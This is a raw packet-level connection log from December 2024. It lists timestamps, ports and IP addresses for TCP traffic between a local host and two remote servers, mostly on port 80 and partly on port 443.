Dec 12, 2024 14:26:29.069628000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.069628000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.069628000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.069628000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.069648981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069669008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069688082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069709063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069729090 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.069729090 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.069755077 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069773912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069818020 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069838047 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069875002 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069876909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.069876909 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.069894075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069901943 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.069947958 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.069967031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070023060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070044041 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070043087 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.070043087 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.070087910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070103884 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.070106983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070153952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070172071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070213079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070230007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.070230961 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070277929 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070298910 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.070300102 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.070300102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070353031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070370913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070391893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070410967 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070445061 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070465088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070482016 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070499897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070518017 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070537090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070565939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070586920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070641994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070660114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070678949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070688009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.070688009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.070688009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.070688009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.070688009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.070688009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.070688009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.070698977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070729971 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.070729971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070729971 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.070749998 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070749998 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.070768118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070787907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070791960 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.070807934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070821047 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.070828915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070844889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.070844889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.070847988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070868015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070873022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.070885897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070904970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070923090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070941925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070960999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.070979118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.071017981 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.071036100 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.071063042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.071075916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.071075916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.071075916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.071075916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.071075916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.071075916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.071075916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.071075916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.071082115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.071089029 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.071099997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.071115017 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.071118116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.071136951 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.071156979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.071163893 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.071176052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.071197033 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.071197987 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.071197987 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.071213007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.071218014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.071242094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.071242094 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.072330952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072345018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072355032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072365999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072408915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072419882 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072452068 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.072452068 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.072469950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.072475910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072490931 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072520971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072532892 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072561979 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.072561979 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.072587967 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072599888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072613955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072623968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072628975 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.072628975 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.072654963 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.072654963 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.072658062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072673082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072702885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072715044 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072745085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.072745085 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.072763920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072778940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072813988 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.072822094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072834969 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072865009 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072868109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.072877884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072905064 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072916985 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072928905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072942972 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072971106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.072971106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.072971106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.072971106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.072971106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.072971106 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.072993994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.072995901 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073005915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073028088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073038101 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073065042 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073076963 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073106050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073117971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073144913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073157072 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073187113 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073199987 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073200941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073200941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073200941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073200941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073200941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073200941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073225975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073244095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073244095 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073261976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073272943 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073273897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073286057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073317051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073329926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073362112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073369980 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073369980 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073369980 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073369980 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073405027 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073466063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073466063 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073491096 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073515892 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073528051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073529005 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073529005 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073554993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073569059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073599100 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073611975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073641062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073656082 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073685884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073695898 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073695898 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073695898 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073695898 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073695898 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073695898 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073697090 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073700905 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073739052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073753119 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073781967 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073795080 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073806047 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073822975 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073822975 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073822975 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073849916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073878050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073893070 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073899031 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073923111 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073935986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073940039 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073961973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073972940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.073987007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.073987007 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.074009895 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074022055 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074033976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074045897 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074058056 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074069023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074080944 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074091911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074116945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074136019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074147940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074162960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074274063 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074287891 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074300051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074311972 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074322939 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074336052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074348927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074348927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.074348927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.074348927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.074348927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.074348927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.074348927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.074348927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.074348927 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.074362040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074408054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074419975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074431896 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074444056 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074455976 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074469090 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074482918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.074482918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.074482918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.074482918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.074482918 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.074507952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074522018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074532986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074542046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.074542046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.074548960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074562073 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074574947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074583054 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.074600935 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074614048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074628115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.074651003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.074651003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.074651003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.074708939 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.076524019 CET	443	49813	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:29.076616049 CET	49813	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:29.089075089 CET	49813	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:29.089091063 CET	443	49813	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:29.089340925 CET	443	49813	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:29.119340897 CET	49813	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:29.158925056 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.162292004 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.163347006 CET	443	49813	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:29.206403971 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.206608057 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.206830978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.206907988 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.206958055 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.207633972 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.207654953 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.207811117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.208420038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.208431959 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.209357977 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.209383965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.209491968 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.209491968 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.210189104 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.210419893 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.210736036 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.211080074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.211687088 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.211744070 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.211956024 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.212165117 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.212641001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.212858915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.212871075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.212980032 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.213771105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.213783979 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.214199066 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.214945078 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.214957952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.215065956 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.215636015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.215764046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.215764046 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.216393948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.216474056 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.216521025 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.217400074 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.217412949 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.218194962 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.218213081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:29.218600035 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.218600035 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:29.219297886 CET	80	49801	31.41.244.11	192.168.2.4
